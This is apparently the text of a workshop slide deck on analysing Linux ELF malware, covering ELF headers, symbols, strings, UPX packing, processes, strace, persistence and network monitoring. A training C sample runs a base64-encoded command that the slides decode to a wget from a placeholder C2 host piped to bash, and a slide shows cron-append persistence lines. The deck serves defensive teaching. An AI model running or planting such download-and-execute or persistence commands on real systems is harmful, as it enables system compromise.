

ELF Malware Analysis 101

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Who Are We



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
Agenda

- 1. Intro to Linux malware
- 2. Environment preparation

- 3. Initial analysis
- 4. Advanced analysis
- 5. Real-life exercise
- 6. Summarize




ELF Malware Threat Landscape






ELF Malware Threat Landscape



Backdoors



Coin Miners



Botnets




Ransomware



ELF Malware Threat Landscape










How Does ELF Malware Infect Systems?

- 1. Vulnerability exploit
- 2. Misconfiguration
- 3. Use of valid credentials
- 4. Supply chain attack

2+



Why Linux Malware is Off the Radar?



Mac OS, you can still install anti-virus software. Check in the software installer or search online; a number of applications are available.



The Threat is Real

Vermilion Strike: Linux and Windows Re-

Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys



Written by Nicole Fishbein - 6 April 2021



Before We Start

- 1. Linux is used broadly
- 2. The threat is real and emerging

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3. Lack of ELF malware visibility

Environment Preparation

- 1. Turn on Linux VM
- 2. Run: git clone <u>https://github.com/intezer/ELF-Malware-Analysis-101.git</u>
- 3. Run: cd ELF-Malware-Analysis-101
- 4. Run: *chmod -R u+x workshop/*
- 5. Run:
 - a. sudo apt-get install upx
- b. sudo apt-get install wireshark



Initial Analysis

What is it?

- Gather information about the sample
- Decide if you should spend more time on a deeper analysis of the sample





ELF Format Static Components

```
#include <stdio.h>
 1
    #include <stdlib.h>
 2
    char google_dns_ping[50] = "ping -c 3 -w 2 8.8.8.8";
 4
    char some_string[100] = "echo d2dldCBodHRw0i8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash";
 5
 6
 7
    int ping_google_dns(){
        char output[500];
 8
        int lines_counter = 0;
 9
        char path[1035];
10
11
        FILE* fp = popen(google_dns_ping,"r");
12
        while (fgets(path, sizeof(path), fp) !=NULL){
13
          lines_counter++;
14 }
15
       return lines_counter;
16
17
18
    int main()
    {
19
      int length = ping_google_dns();
20
    if (length > 5){
21
      system("apt-get install wget");
22
      system(some_string);
23
24
      return 1;
25
    3
26
    printf("hello world\n");
27
28
      return 1:
29
    }
```

ELF Header

General data about the binary


- The binary's entry point
- 32 bit or 64 bit
- The location of the program headers table

readelf -h training-sample

ELF Header:			
Magic: 7f 45 4c 46 02 01 01 00	00 00 00 00 00 00 00 00		
Class:	ELF64		
Data:	2's complement, little endian		
Version:	1 (current)		
OS/ABI:	UNIX - System V		
ABI Version:	Θ		
Type:	DYN (Shared object file)		
Machine:	Advanced Micro Devices X86-64		
version:	UX1		
Entry point address:	0x680		
Start of program headers:	64 (bytes into file)		
Start of section headers:	6928 (bytes into file)		



Static vs Dynamic Linking



Symbols

- What are symbols?
- .dynsym and .symtab

readelf -s training-sample

	table '.dynsym' co			and the second se			
Num:	Value	Size	Туре	Bind	Vis	Ndx	Name
0:	000000000000000000000000000000000000000	0	NOTYPE	LOCAL	DEFAULT	UND	
1:	000000000000000000000000000000000000000	0	NOTYPE	WEAK	DEFAULT	UND	_ITM_deregisterTMCloneTab
2:	000000000000000000000000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	puts@GLIBC_2.2.5 (2)
3:	00000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	stack_chk_fail@GLIBC_2.4 (3)
4:	000000000000000000000000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	system@GLIBC_2.2.5 (2)
5:	00000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	libc_start_main@GLIBC_2.2.5 (2)
6:	00000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	fgets@GLIBC_2.2.5 (2)
7:	00000000000000000	0	NOTYPE	WEAK	DEFAULT	UND	gmon_start
8:	00000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	popen@GLIBC_2.2.5 (2)
9:	00000000000000000	0	NOTYPE	WEAK	DEFAULT	UND	_ITM_registerTMCloneTable
10:	000000000000000000000000000000000000000	0	FUNC	WEAK	DEFAULT	UND	cxa_finalize@GLIBC_2.2.5 (2)
Symbol	table '.symtab' co	ntains	s 70 ent	ries:			
Num:	Value	Size	Туре	Bind	Vis	Ndx	Name

nur.	vacue	2026	Type	Denu	VLS	
0:	000000000000000000000000000000000000000	0	NOTYPE	LOCAL	DEFAULT	UND
1 A A A	000000000000000000000000000000000000000	~	CECTION	1001	DEFAILUT	100 C 100

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Symbols

```
#include <stdio.h>
 1
    #include <stdlib.h>
 2
    char google_dns_ping[50] = "ping -c 3 -w 2 8.8.8.8";
 4
    char some_string[100] = "echo d2dldCBodHRw0i8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash";
 5
 6
     int ping_google_dns(){
 7
         char output[500];
 8
        int lines_counter = 0;
 9
10
        char path[1035];
        FILE* fp = popen(google_dns_ping,"r");
11
12
        while (fgets(path, sizeof(path), fp) !=NULL)+
13
          lines_counter++;
14 }
15
       return lines_counter;
16
     3
17
    int main()
18
    {
19
      int length = ping_google_dns();
20
     if (length > 5){
21
      system("apt-get install wget");
22
23
      system(some_string);
24
      return 1;
25
     3
26
27
    printf("hello world\n");
      return 1;
28
29
    }
```

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readelf -s training-sample | grep FUNC

2:	0000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	puts@GLIBC_2.2.5 (2)
3:	0000000000000000000	0	FUNC	GLOBAL	DEFAULT		stack chk fail@GLIBC 2.4 (3)
4:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	system@GLIBC_2.2.5 (2)
5:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	libc_start_main@GLIBC_2.2.5 (2)
б:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	fgets@GLIBC_2.2.5 (2)
8:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	popen@GLIBC_2.2.5 (2)
10:	000000000000000000	0	FUNC	WEAK	DEFAULT	UND	cxa_finalize@GLIBC_2.2.5 (2)
27:	00000000000006b0	0	FUNC	LOCAL	DEFAULT		deregister_tm_clones
28:	00000000000006f0	0	FUNC	LOCAL	DEFAULT	14	register_tm_clones
29:	0000000000000740	0	FUNC	LOCAL	DEFAULT		do_global_dtors_aux
32:	0000000000000780	0	FUNC	LOCAL	DEFAULT	14	frame_dummy
43:	00000000000008d0	2	FUNC	GLOBAL	DEFAULT	14	libc_csu_fini
46:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	puts@@GLIBC_2.2.5
48:	00000000000008d4	0	FUNC	GLOBAL	DEFAULT	15	_fini
49:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	stack_chk_fail@@GLIBC_2
51:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	system@@GLIBC_2.2.5
52:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	libc_start_main@@GLIBC
53:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	fgets@@GLIBC_2.2.5
58:	0000000000000860	101	FUNC	GLOBAL	DEFAULT	14	libc_csu_init
60:	000000000000680	43	FUNC	GLOBAL	DEFAULT	14	_start
63:	000000000000080d	77	FUNC	GLOBAL	DEFAULT	Contract States	main
64:	000000000000000000	0	FUNC	GLOBAL	DEFAULT	UND	popen@@GLIBC_2.2.5
67:	000000000000078a	131	FUNC	GLOBAL	DEFAULT		ping_google_dns
68:	000000000000000000	0	FUNC	WEAK	DEFAULT		cxa_finalize@@GLIBC_2.2
69:	000000000000005f0	0	FUNC	GLOBAL	DEFAULT	11	_init



Symbols

1	<pre>#include <stdio.h></stdio.h></pre>
2	<pre>#include <stdlib.h></stdlib.h></pre>
3	
4	char google_dns_ping[50]
5	<pre>char some_string[100]= "echo d2dldCBodHRw0i8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZ55hcHA= base64 -d bash";</pre>
6	
7	<pre>int ping_google_dns(){</pre>
8	<pre>char output[500];</pre>
9	<pre>int lines_counter = 0;</pre>
10	<pre>char path[1035];</pre>
11	<pre>FILE* fp = popen(google_dns_ping,"r");</pre>
12	<pre>while (fgets(path, sizeof(path), fp) !=NULL){</pre>
13	lines_counter++;
14	}
15	return lines_counter;
16	}
17	
18	int main()
19	{
20	<pre>int length = ping_google_dns();</pre>
21	if (length > 5){
22	system("apt-get install wget");
23	<pre>system(some_string);</pre>
24	return 1;
25	}
26	
27	<pre>printf("hello world\n");</pre>
28	return 1;
29	}

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readelf -s training-sample | grep OBJECT

30:	00000000002010c4	1 OBJEC	T LOCAL	DEFAULT	24	completed.7698
31:	0000000000200da0	0 OBJEC	T LOCAL	DEFAULT	20	do_global_dtors_aux_fin
33:	0000000000200d98	0 OBJEC	T LOCAL	DEFAULT	19	frame_dummy_init_array_
36:	0000000000000a74	0 OBJEC	T LOCAL	DEFAULT	18	FRAME_END
39:	0000000000200da8	0 OBJEC	T LOCAL	DEFAULT	21	_DYNAMIC
42:	0000000000200f98	0 OBJEC	T LOCAL	DEFAULT	22	_GLOBAL_OFFSET_TABLE_
50:	0000000000201020	50 OBJEC	GLOBAL	DEFAULT	23	google_dns_ping
56:	0000000000201008	0 OBJEC	T GLOBAL	HIDDEN	23	dso_handle
57:	00000000000008e0	4 OBJEC	T GLOBAL	DEFAULT	16	IO_stdin_used
62:	0000000000201060	100 OBJEC	T GLOBAL	DEFAULT	23	some_string
65:	00000000002010c8	0 OBJEC	T GLOBAL	HIDDEN	23	TMC_END



Segments (Program Headers) and Sections

- **Segments** describe the binary's memory layout and they are necessary for execution
- **Sections** contains information needed for linktime and are **not** necessary for execution

Segments (Program H

readelf -l training-sample

Elf file type is DYN (Shared object file) Entry point 0x680

There are 9 program headers, starting at offset 64

Program Headers:							
Туре	Offset	VirtAddr	PhysAddr				
	FileSiz	MemSiz	Flags Align				
PHDR	0x00000000000000040	0x0000000000000040	0x0000000000000040				
	0x00000000000001f8	0x00000000000001f8	R 0x8				
INTERP	0x000000000000238	0x0000000000000238	0x000000000000238				
	0x00000000000000001c	0x000000000000001c	R 0x1				
[Requestin	g program interprete	er: /lib64/ld-linux·	-x86-64.so.2]				
LOAD	0x00000000000000000	0x000000000000000000	0x0000000000000000				
	0x00000000000000a78	0x00000000000000a78	R E 0x200000				
LOAD	0x00000000000000000	0x0000000000200d98	0x0000000000200d98				
	0x000000000000032c	0x0000000000000330	RW 0x200000				
DYNAMIC	0x00000000000000da8	0x0000000000200da8	0x0000000000200da8				
	0x000000000000001f0	0x00000000000001f0	RW 0x8				
NOTE	0x0000000000000254	0x0000000000000254	0x000000000000254				
	0x0000000000000044	0x0000000000000044	R 0x4				
GNU EH FRAME	0x0000000000000908	0x0000000000000908	0x000000000000908				
	0x00000000000000044	0x0000000000000044	R 0x4				
GNU STACK	0x00000000000000000	0x000000000000000000	0x0000000000000000				
	0x00000000000000000	0x000000000000000000	RW 0x10				
GNU RELRO	0x00000000000000000	0x0000000000200d98	0x0000000000200d98				
	0x0000000000000268	0x0000000000000268	R 0x1				
Section to Segm	ent mapping:						
Segment Section							
00							
01 .interp	2						
		e.anu.build-id .anu	.hash .dvnsvm .dvnstr				
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame							
03 .init array .fini array .dynamic .got .data .bss							
04 .dynamic							
	ABI-tag .note.gnu.bu	ild-id					
07	8.50 m. 8 .503 0 -						
	array .fini array .d	vnamic .got					



Segments (Program Headers) and Sections

Packed file segment table:

Program Header	's:		
Туре	Offset	VirtAddr	PhysAddr
	FileSiz	MemSiz	Flags Align
LOAD	0x000000000000000000	0x000000000400000	0x0000000000400000
	0x00000000004b4bb	0x00000000004b4bb	R E 0x200000
LOAD	0x0000000000000680	0x0000000006bf680	0x0000000006bf680
	0x000000000000000000	0x00000000000000000	RW 0x1000
GNU_STACK	0x000000000000000000	0x00000000000000000	0x000000000000000000
	0x000000000000000000	0x00000000000000000	RW 0x10



Segments (Program Headers) and Sections

Compiled with Pyinstaller:

add to the second state		
[26]	.comment	PROGBITS
	00000000000000040	000000000000
[27]	pydata	PROGBITS
	000000000011a458	000000000000
[28]	.shstrtab	STRTAB
	00000000000000ff	000000000000
(ev to	Flags:	

Stripped Files

objcopy -S training-sample training-sample-stripped

readelf -s training-sample-stripped





Questions?



File's Output

Simply running the file in a VM.



Classic, basic & highly effective.

- Declared chars
- Symbols & other strings that are related to the file format

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strings training-sample > str.txt



Strings - What Will We Look For?

- Network related strings
- Encoded strings (base64, hex)
- Paths
- Commands

echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash;

base64 decode

wget http://somenonexitingcnc[.]com/malware.app

C2F150DBE9A8EFB72DC46416CA29ACDBAE6FD4A2AF16B27F153EAABD4772A2A1



1678327C5F36074CF5F18D1A92C2D9FEA9BF C0EE19D7545F98FCD15725A3D9F0DBD0F35 9E4BD9676BB3460BE68BA4559A824940A39: **CYBERSECURITY** EEE38C632C62CA95B5C66F8D39A18E23B91 **& INFRASTRUCTURE** F6E1A146543D2903146698DA5698B2A21420 SECURITY AGENCY 9 37BB27F4EB40B8947E184AFDDBA019001C1 E6EC788B5EE7436DA4450191A003966A68E2 Alerts and Tips Resources 284BC471647F951C79E3E333B2B19AA37F84 A1CDB784100906D0AC895297C5A0959AB21

National Cyber Awareness System > Analysis Reports > MAR-10288834-1.v1 - North Korean Remote Access Tool: COPPER

Malware Analysis Report (AR20-133A)

B Share

MAR-10288834-1.v1 – North Korean Remote Access Tool: COPPERHEDGE

Variant F

Variant C

Variant D

Variant E

0A763DA26A67CB2B09A3AE6E1AC07828065

B4BF6322C67A23553D5A9AF6FCD9510EB61

134B082B418129FFA390FBEE1568BD9510C5

1884DDC53EF66488CA8FC641B438895FCAADA77C15210118465377C63223B3BC C24C322F4535DEF3F8D1579C39F2F9E323787D15B96E2EE457C38925EFFE2D39

Submitted Files (22)

0a763da26a67cb2b09a3ae6e1ac07828065eb980e452ce7d3354347976038e7e (171B9135540F89BF727B690B9E587A...) 134b082b418129ffa390fbee1568bd9510c54bfdd0e6b1f36bc7b8f867e56283 (633BD738AE63B6CE9C2A48CBDDD154...) 1678327c5f36074cf5f18d1a92c2d9fea9bfae6c245eaad01640fd75af4d6c11 (86D3C1B354CE696E454C42D8DC6DF1...) 1884ddc53ef66488ca8fc641b438895fcaada77c15210118465377c63223b3bc 22F8D2A0C8D9B54A553FCA1B2393B2...) 1faaa939087c3479441d9f9c83a80ac7ec9b929e626cb34a7417be9ff0316ff7 (667CF9E8EC1DAC7812F92BD77AF702...) 284bc471647f951c79e3e333b2b19aa37f84cc39b55441a82e2a5f7319131fac (DB590EA77A92AE6435E2EC954D065E...) 37bb27f4eb40b8947e184afddba019001c12f97588e7f596ab6bc07f7c152602 (A8B6EC51ED88C0329FD3329CB615BB...) 3ff4ebae6c255d4ae6b747a77f2821f2b619825c7789c7ee5338da5ecb375395 (A7C804B62AE93D708478949F498342...) 4838f85499e3c68415010d4f19e83e2c9e3f2302290138abe79c380754f97324 (FB6275A24D047F3BE05C2B4F5F5070

Original release date: May 12, 2020

Tweet Send

Print

Code Reuse

Example: Rekoobe sample had 0 detections in VirusTotal.

Rekoobe	a8b069ef9d76cd42e873c6e8ded9db8c17d9d0ce234b5e7c9a126b4d514c6f72 Malicious Malicious Family: Rekoobe elf amd x86-64 architecture	SHA256: a8b069ef9d76cd42e873c6e8ded9db8c17d9d0ce234 virustotal Report (0 / 60 Detections)
	ELF Code Reuse (63 Genes)	2 Common
	Kit Rekoobe Edit Malware	60 Genes 95.24%
	Unique Edit Unknown 3 Genes 4.76%	

Packers

- What's a packer?
- Why they are used?
- VMprotect, elfuck, ps2-packer
- Ezuri
- UPX





UPX Pack & Unpack

gcc -static training_sample.c -o training-sample-static

upx -9 training-sample-static -o training-sample-static-packed

readelf -a training-sample-static-packed

Strings training-sample-static-packed | grep upx

upx -d training-sample-static-packed



Questions?

Let's Practice!





Initial Analysis Practice

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- Is this malicious?
- Has anyone studied it before?
- What it is?

Hints:

- readelf
- upx
- Strings
- Google ;)



Advanced Analysis - Dynamic Analysis

- What it is?
- When to use dynamic analysis?

Static Analysis **VS Dynamic Analysis**

Advanced Analysis

Important!!

- 1. Use a VM!
- 2. Save a clean snapshot before you start the analysis
- 3. Don't connect the VPN to your network
 - a. Use a VPN



Sandboxes

- VIrtual Machines (VMware, VirtualBox) Local
- Online sandboxes:
 - Hybrid-Analysis Online
 - Hatching-Triage Online
 - LiSa Open-source



Linux Processes

		root@ubuntu:~#	ps a	ux							
			%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
	Every inst	root 1	0.0	0.0	160164	9516	?	Ss	16:13		/sbin/init splash
		root 2		0.0	0	0	?	S	16:13		[kthreadd]
		root 3	0.0	0.0	0	0	?	I<	16:13		[rcu_gp]
	Each proc	root 4	0.0	0.0	0	0	?	I<	16:13		[rcu_par_gp]
		root 6		0.0	0	0	?	I<	16:13		[kworker/0:0H-kb]
		root 9		0.0	0	0	?	I<	16:13		[mm_percpu_wq]
		root 10		0.0	0	0		S	16:13		[ksoftirqd/0]
C		root 11		0.0	0	0	?	I	16:13		[rcu_sched]
Com		root 12		0.0	0	0	?	S	16:13		[migration/0]
		root 13		0.0	0		?	S	16:13		[idle_inject/0]
		root 14		0.0	0	0	?	S	16:13		[cpuhp/0]
		root 15		0.0	0	0	?	S	16:13		[kdevtmpfs]
		root 16		0.0	0	0	?	I<	16:13		[netns]
•		root 17		0.0	0	0	?	S	16:13		[rcu_tasks_kthre]
		root 18		0.0	0	0	?	S	16:13		[kauditd]
		root 19		0.0	0	0	?	S	16:13		[khungtaskd]
		root 20			0	0	?	S	16:13		[oom_reaper]
		root 21		0.0	0		?	I<	16:13		[writeback]
		root 22		0.0	0	0	?	S	16:13		[kcompactd0]
		root 23		0.0	0	0	?	SN	16:13		[ksmd]
		root 24		0.0	0		?	SN	16:13		[khugepaged]
		root 116		0.0	0	0	?	I<	16:13		[kintegrityd]
		root 117		0.0	0	0	?	I<	16:13		[kblockd]
		root 118			0	0	?	I<	16:13		[blkcg_punt_bio]
		root 119	0.0	0.0	0	0	?	I<	16:13	0:00	[tpm_dev_wq]



Linux Processes - The proc Filesystem

- The "proc" filesystem is a pseudo-filesystem provided by the Linux kernel
- Usually mounted under /proc



Linux Processes - The proc Filesystem

ping 8.8.8.8	pio	dof ping	cd /p	roc/#
<pre>root@ubntu:~# pi 14568 root@ubntu:~# cd root@ubntu:/proc arch_status attr autogroup auxv cgroup clear_refs cmdline comm coredump_filter cpuset cwd</pre>	/proc/1456	mountinfo mounts mountstats	personality projid_map root sched schedstat sessionid setgroups smaps smaps_rollup stack stat	timerslack_ns uid_map wchan



- Insights about what is running on a machine
- A single executable can create more than one process on the machine





Scenarios for process creations:

- 1. Other process creation
- 2. Forks
- 3. Threads



Other process creation

#include <stdlib.h>
void main()
{
 system("ping 8.8.8.8");
}


ping-google-dns.c

./ping-google-dns

root@ubntu:~# pstree | grep ping-google-dns

|-bash---ping-google-dns---sh---ping





ping-google-dns-fork.c

./ping-google-dns-fork

Forks



Threads	<pre>#include <stdlib.h> #include <pthread.h> #include <stdio.h> #include <stdio.h> pthread_t tid[3];</stdio.h></stdio.h></pthread.h></stdlib.h></pre>
	<pre>void* print_something(void *arg){ printf("Threading\n"); sleep(120); return NULL; }</pre>
	<pre>void main() { int i=0; int err; ille(i<3)</pre>
./print-something	<pre>thread_create(&(tid[i]), NULL,&print_something,NULL);</pre>
oot@ubntu:~# pstree grep oot@ubntu:~# pidof print-s 15176	<pre>print-something -bashsudosubashprint-something3*[{print-something}]</pre>
	print-something.c

Syscalls (System Calls)

<u>Syscalls</u> are the interface used by the application to request services from the kernel.

- **open/openat** open and possibly create a file.
- **read** read from a file descriptor.
- **access** check user's permissions for a file.
- write write to a file descriptor.
- mkdir/mkdirat make directories.
- **connect** initiate a connection on a socket.
- **socket** create an endpoint for communication.
- **execve** execute program



Syscalls (System Calls)

strace -o out.txt ./trace-me

root@ubuntu:~# strace -o out.txt ./trace-me
What just happened??

cat out.txt

mkdir("/tmp/.tomato", 0700)	= 0
brk(NULL)	= 0x55eb8155e000
brk(0x55eb8157f000)	= 0x55eb8157f000
openat(AT_FDCWD, "/tmp/.tomato/answer.t	xt", O_WRONLY O_CREAT O_TRUNC, 0666) = 3
fstat(3, {st mode=S IFREG 0644, st_size	$=0, \ldots\}) = 0$
write(3, "I Was created!!!!", 17)	= 17
close(3)	= 0
<pre>fstat(1, {st_mode=S_IFCHR 0620, st_rdev</pre>	=makedev(136, 1),}) = 0
write(1, "What just happened??\n", 21Wh	at just happened??
) = 21	
exit_group(0)	= ?
+++ exited with 0 +++	



Questions?

Persistence Methods

Why threat actors want to achieve persistence?

Methods to get persistence:

- cron
- Services
- Loadable Kernel Modules (LKM)
- Hijack Execution Flow

[Unit] Description=storm Requires= After=

[Service] PIDFile=/var/run/storm.pid ExecStartPre=/bin/rm -f /var/run/storm.pid ExecStart=/usr/bin/storm Restart=on-failure


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[Install] WantedBy=multi-user.target

echo "systemctl start watchdogd || service watchdogd start" >> /etc/cron.hourly/@anacron
echo "systemctl start watchdogd || service watchdogd start" >> /etc/cron.daily/logrotate

Network Sniffing

- Why you should monitor the network?
- How?
 - <u>tcpdump</u>
 - <u>Wireshark</u>
 - <u>InetSim</u>



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Questions?

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Advanced Analysis

- Tools:
 - IDA
 - **R2**
 - Ghidra
- The flow
 - \circ Strings
 - Imports and Exports
 - System calls
 - \circ Functions

0x180002c61 0x180002cc5	[xAdvc]7 [0x00x6	4] 101]> pd \$r @ fcn.1800029d0+757 # 0x180002
	488d <mark>5530</mark>	<pre>lea rdx, [var_30h] ; LPCSTR lpProcNa</pre>
	488bcf	mov rcx, rdi ; HMODULE hModule
	<mark>ff</mark> 15 <mark>4a</mark> c402 <mark>00</mark>	call qword [sym.imp.KERNEL32.dll_GetProcAddr
	488d542440	<pre>lea rdx, [var_sp_40h] ; LPCSTR lpProcNa</pre>
	488bcf	mov rcx, rdi ; HMODULE hModule
	488905eb8506.	<pre>mov qword [0x18006b268], rax ; [0x18006b268:</pre>
	<mark>ff</mark> 15 <mark>35</mark> c402 <mark>00</mark>	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	488d <mark>55</mark> d0	<pre>lea rdx, [var_30h_2] ; LPCSTR lpProcNa</pre>
	488bcf	mov rcx, rdi ; HMODULE hModule
	488905878506.	mov qword [0x18006b218], rax ; [0x18006b218:
	<mark>ff</mark> 15 <mark>21</mark> c402 <mark>00</mark>	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	<mark>48</mark> 8d <mark>55</mark> e0	<pre>lea rdx, [var_20h] ; LPCSTR lpProcNa</pre>
	<mark>48</mark> 8bcf	mov rcx, rdi ; HMODULE hModule
	488905db8506.	mov qword [0x18006b280], rax ; [0x18006b280:
	<mark>ff</mark> 150dc402 <mark>00</mark>	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	<mark>48</mark> 8d <mark>5560</mark>	<pre>lea rdx, [var_bp_60h] ; LPCSTR lpProcNa</pre>
	<mark>48</mark> 8bcf	mov rcx, rdi ; HMODULE hModule
	<mark>48</mark> 8905 <mark>57</mark> 8506.	mov qword [0x18006b210], rax ; [0x18006b210:
	ff15f9c302 <mark>00</mark>	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	<mark>48</mark> 8d <mark>55</mark> b0	<pre>lea rdx, [var_50h] ; LPCSTR lpProcNa</pre>
	2 <mark>48</mark> 8bcf	mov rcx, rdi ; HMODULE hModule
	488905ab8506.	mov qword [0x18006b278], rax ; [0x18006b278:
	ff15e5c30200	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	488d542430	<pre>lea rdx, [var_sp_30h] ; LPCSTR lpProcNa</pre>
	488bcf	mov rcx, rdi ; HMODULE hModule
	4889053e8506.	mov qword [0x18006b220], rax ; [0x18006b220:
	ff15d0c30200	call qword <pre>[sym.imp.KERNEL32.dll_GetProcAddr</pre>
	488d542420	<pre>lea rdx, [var_sp_20h] ; LPCSTR lpProcNa</pre>
	488bcf	mov rcx, rdi ; HMODULE hModule
	488905518506.	mov qword [0x18006b248], rax ; [0x18006b248:
	ff15bbc30200	call qword [sym.imp.KERNEL32.dll_GetProcAddr

Let's Practice!







Dynamic Analysis - Exercise

- Is it malicious?
- What changes does it do on the system?
- Does it try to connect to a C2?
- How should I kill this?

Hints:

- Strings
- Wireshark (sudo apt-get install wireshark)
- strace

What Have We Learned?

- Linux threats are **real**
- ELF file format
- Basic Linux infrastructure
- Tools for ELF analysis
- Methodologies for ELF analysis







https://www.intezer.com/blog/malwareanalysis/elf-malware-analysis-101-part-3advanced-analysis/

Nicole Fishbein





